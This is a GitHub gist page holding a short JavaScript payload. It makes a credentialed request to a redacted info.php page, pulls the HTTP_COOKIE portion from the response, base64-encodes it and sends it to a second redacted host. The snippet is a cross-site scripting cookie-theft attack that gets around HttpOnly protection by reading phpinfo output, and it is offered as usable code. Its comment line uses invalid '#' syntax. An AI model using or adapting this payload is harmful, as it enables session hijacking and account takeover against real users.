-
-
Save ls4cfk/0deb122d4e2e24ac66cd74d3edf956bf to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
var req = new XMLHttpRequest(); | |
req.onload = reqListener; | |
var url = 'https://REDACTED/info.php'; | |
req.withCredentials = true; // send cookie header | |
req.open('GET', url, false); | |
req.send(); | |
function reqListener() { | |
var req2 = new XMLHttpRequest(); | |
const sess = this.responseText.substring(this.responseText.indexOf('HTTP_COOKIE') + 1 ); # Thats ugly, improve it :) | |
req2.open('GET', 'https://REDACTED/?data=' + btoa(sess), false); | |
req2.send() | |
}; |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment